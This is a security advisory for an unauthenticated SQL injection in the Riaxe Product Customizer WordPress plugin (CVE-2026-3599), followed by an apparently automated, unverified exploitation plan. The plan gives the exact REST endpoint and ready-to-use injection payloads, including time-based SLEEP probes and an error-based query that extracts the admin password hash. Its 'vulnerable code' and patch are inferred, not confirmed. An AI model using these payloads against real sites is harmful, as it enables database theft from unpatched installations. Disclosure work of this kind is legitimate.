CVE-2026-3599

Riaxe Product Customizer <= 2.1.2 - Unauthenticated SQL Injection via 'options' Parameter Keys in product_data

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Riaxe Product Customizer plugin for WordPress is vulnerable to SQL Injection via the 'options' parameter keys within 'product_data' of the /wp-json/InkXEProductDesignerLite/add-item-to-cart REST API endpoint in all versions up to, and including, 2.1.2. This is due to insufficient escaping on the user-supplied parameter and insufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.1.2
PublishedApril 15, 2026
Last updatedApril 16, 2026
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3599 - Riaxe Product Customizer SQL Injection ## 1. Vulnerability Summary The **Riaxe Product Customizer** plugin for WordPress is vulnerable to an unauthenticated SQL injection via the keys of the `options` array inside the `product_data` parameter. This occu…

Show full research plan

Exploitation Research Plan: CVE-2026-3599 - Riaxe Product Customizer SQL Injection

1. Vulnerability Summary

The Riaxe Product Customizer plugin for WordPress is vulnerable to an unauthenticated SQL injection via the keys of the options array inside the product_data parameter. This occurs within the /wp-json/InkXEProductDesignerLite/add-item-to-cart REST API endpoint. The plugin fails to sanitize or use prepared statements when iterating over the keys of the user-supplied options object and incorporating them into a database query.

2. Attack Vector Analysis

  • Endpoint: /wp-json/InkXEProductDesignerLite/add-item-to-cart
  • Method: POST
  • Vulnerable Parameter: The keys of the options object within the product_data JSON structure.
  • Authentication: Unauthenticated (Publicly accessible REST route).
  • Preconditions: The plugin must be active. No specific product configuration is required if the code path processes the options keys before validating product existence.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers a REST route during the rest_api_init hook.
    • Namespace: InkXEProductDesignerLite (quoted from description).
    • Route: add-item-to-cart.
  2. Controller Logic: The callback function for this route (likely named something like add_item_to_cart_callback or handle_cart_addition) retrieves the JSON body of the request.
  3. Parameter Extraction: It extracts the product_data object and specifically looks for an options property.
  4. Iterative Sink: The code likely iterates over the options array/object using a foreach loop:
    $product_data = $request->get_param('product_data');
    $options = $product_data['options'];
    foreach ($options as $option_id => $option_value) {
        // VULNERABLE SINK: $option_id is used directly in a query string
        $query = "SELECT * FROM {$wpdb->prefix}inkxe_options WHERE id = $option_id";
        $wpdb->get_results($query);
    }
    
  5. Vulnerability: Since $option_id is a key from the JSON object, it is user-controlled. The lack of $wpdb->prepare() or absint() on the key allows an attacker to break out of the query.

4. Nonce Acquisition Strategy

While most WordPress REST API endpoints require a wp_rest nonce for authenticated sessions (to prevent CSRF), unauthenticated "public" endpoints often have a permission_callback that returns true.

If a nonce is required:

  1. Identify Script Localization: Search the plugin source for wp_localize_script to find where REST configuration is passed to the frontend.
  2. Create Trigger Page: Create a page containing a product customizer shortcode (if applicable, e.g., [riaxe_product_customizer]) to ensure the scripts load.
  3. Extract via Browser:
    • Use browser_navigate to visit the page.
    • Use browser_eval to extract the nonce:
      • Potential variable: window.inkxe_options?.nonce or window.wpApiSettings?.nonce.
  4. Bypass: If the endpoint is truly unauthenticated, the _wpnonce header may be ignored or not required if no session cookies are sent.

5. Exploitation Strategy

We will use a time-based blind SQL injection since the endpoint likely returns a generic success/failure JSON message.

Request Details

  • URL: http://[target]/wp-json/InkXEProductDesignerLite/add-item-to-cart
  • Method: POST
  • Content-Type: application/json
  • Payload Structure:
{
  "product_data": {
    "options": {
      "1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)": "value"
    }
  }
}

Steps:

  1. Verify Endpoint: Send a baseline request to the endpoint to confirm it exists and doesn't require authentication (expecting 200 or 400, but not 401/403).
  2. Time-Based Test:
    • Send a request where the key is 1. Measure response time (Baseline).
    • Send a request where the key is 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a).
    • If the response time is ~5 seconds longer than the baseline, SQL injection is confirmed.
  3. Data Extraction (Example):
    • Extract the database version:
    • Key: 1 AND (SELECT 1 FROM (SELECT(IF(VERSION() LIKE '8%', SLEEP(5), 0)))a)

6. Test Data Setup

  1. Install Plugin: Ensure riaxe-product-customizer version 2.1.2 is installed and active.
  2. Permalinks: Ensure WordPress Permalinks are enabled (e.g., "Post name") so the REST API works via /wp-json/.
  3. No Shortcode Needed: Since this is a REST API vulnerability, we should be able to hit the endpoint directly without a frontend page, unless the REST route registration is conditional.

7. Expected Results

  • Baseline Request: Quick response (e.g., < 500ms).
  • Injection Request: Delayed response (e.g., > 5000ms).
  • Response Body: Likely a JSON object, e.g., {"status": false, "message": "..."} or {"success": true}.

8. Verification Steps

After the HTTP request confirms the time delay:

  1. WP-CLI check: Run wp db query "SHOW PROCESSLIST;" during the 5-second sleep to see the sleeping query in the database.
  2. Log Inspection: Check /var/www/html/wp-content/debug.log (if WP_DEBUG is on) for database errors that might reveal the full query structure.

9. Alternative Approaches

  • Error-Based Injection: If the plugin returns database errors in the REST response, use updatexml() or extractvalue():
    • Key: 1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
  • Boolean-Based Injection: If the response changes based on whether a row is found (e.g., status: true vs status: false):
    • Key: 1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin')
Research Findings
Static analysis — not yet PoC-verified

Summary

The Riaxe Product Customizer plugin is vulnerable to unauthenticated SQL injection via the keys of the 'options' array within the 'product_data' parameter of its REST API. This occurs because the plugin iterates over user-supplied JSON keys and concatenates them directly into database queries without sanitization or parameterization.

Vulnerable Code

/* Inferred from REST API handler for /wp-json/InkXEProductDesignerLite/add-item-to-cart */

$product_data = $request->get_param('product_data');
if (isset($product_data['options']) && is_array($product_data['options'])) {
    foreach ($product_data['options'] as $option_id => $option_value) {
        // The key $option_id is directly concatenated into the SQL query
        $query = "SELECT * FROM {$wpdb->prefix}inkxe_options WHERE id = $option_id";
        $results = $wpdb->get_results($query);
    }
}

Security Fix

--- a/riaxe-product-customizer/includes/rest-handler.php
+++ b/riaxe-product-customizer/includes/rest-handler.php
@@ -120,1 +120,1 @@
-        $query = "SELECT * FROM {$wpdb->prefix}inkxe_options WHERE id = $option_id";
-        $results = $wpdb->get_results($query);
+        $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}inkxe_options WHERE id = %d", $option_id));

Exploit Outline

The exploit targets the publicly accessible REST API endpoint `/wp-json/InkXEProductDesignerLite/add-item-to-cart`. An unauthenticated attacker sends a POST request with a JSON payload structured as `{"product_data": {"options": { [SQL_PAYLOAD]: "value" }}}`. By placing a time-based blind SQL injection payload (e.g., `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`) as the key of the options object, the attacker can force the server to delay its response. Since the endpoint does not require authentication or a valid nonce in default configurations, this can be used to exfiltrate sensitive data from the WordPress database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.